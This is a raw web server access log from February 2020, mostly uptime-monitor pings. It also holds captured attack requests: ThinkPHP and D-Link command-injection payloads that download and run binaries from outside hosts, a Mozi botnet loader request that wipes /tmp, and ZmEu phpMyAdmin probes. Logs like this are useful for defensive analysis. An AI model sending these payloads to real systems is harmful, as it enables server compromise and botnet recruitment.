212.91.246.72 - - [16/Feb/2020:09:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.137.76.241 - - [16/Feb/2020:09:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:09:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:09:32:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:09:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:09:34:20 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:09:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:09:34:48 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
78.37.48.179 - - [16/Feb/2020:09:35:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:09:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.16.181.120 - - [16/Feb/2020:09:39:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.84.234.223 - - [16/Feb/2020:09:39:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:09:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [16/Feb/2020:09:41:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [16/Feb/2020:09:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.219.47 - - [16/Feb/2020:09:43:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:09:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [16/Feb/2020:09:44:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:09:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.149.251.64 - - [16/Feb/2020:09:45:43 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [16/Feb/2020:09:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [16/Feb/2020:09:45:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
83.97.20.33 - - [16/Feb/2020:09:45:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.164.35.72 - - [16/Feb/2020:09:46:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [16/Feb/2020:09:46:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [16/Feb/2020:09:46:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:09:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [16/Feb/2020:09:46:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
110.9.148.211 - - [16/Feb/2020:09:47:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.164.35.72 - - [16/Feb/2020:09:47:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:09:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:09:49:54 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:09:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.85.97.254 - - [16/Feb/2020:09:52:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:09:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [16/Feb/2020:09:52:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:09:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:09:55:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:09:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [16/Feb/2020:09:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [16/Feb/2020:09:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:10:00:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:10:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.113.14.254 - - [16/Feb/2020:10:01:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:10:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:10:04:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:10:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.154.66.51 - - [16/Feb/2020:10:11:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:10:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [16/Feb/2020:10:16:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [16/Feb/2020:10:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.40.50.193 - - [16/Feb/2020:10:17:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.152.190.229 - - [16/Feb/2020:10:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:10:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [16/Feb/2020:10:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [16/Feb/2020:10:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.40.117 - - [16/Feb/2020:10:21:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:10:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.91 - - [16/Feb/2020:10:23:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [16/Feb/2020:10:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [16/Feb/2020:10:27:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:10:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.94 - - [16/Feb/2020:10:27:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [16/Feb/2020:10:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [16/Feb/2020:10:29:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:10:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.206.201.188 - - [16/Feb/2020:10:32:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.143.220.94 - - [16/Feb/2020:10:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.238.85.165 - - [16/Feb/2020:10:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:10:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.168.214.207 - - [16/Feb/2020:10:34:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.134.170 - - [16/Feb/2020:10:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:10:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.90.28.151 - - [16/Feb/2020:10:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:10:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.115 - - [16/Feb/2020:10:37:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:10:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.121.235.173 - - [16/Feb/2020:10:40:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:10:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.145.51 - - [16/Feb/2020:10:41:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:10:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.14.185.102 - - [16/Feb/2020:10:42:04 +0100] "GET / HTTP/1.1" 400 330 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [16/Feb/2020:10:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.179.2.74 - - [16/Feb/2020:10:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:10:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [16/Feb/2020:10:47:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [16/Feb/2020:10:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:10:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.211.86.25 - - [16/Feb/2020:10:51:40 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:41 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:42 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:42 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:42 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
80.211.86.25 - - [16/Feb/2020:10:51:43 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
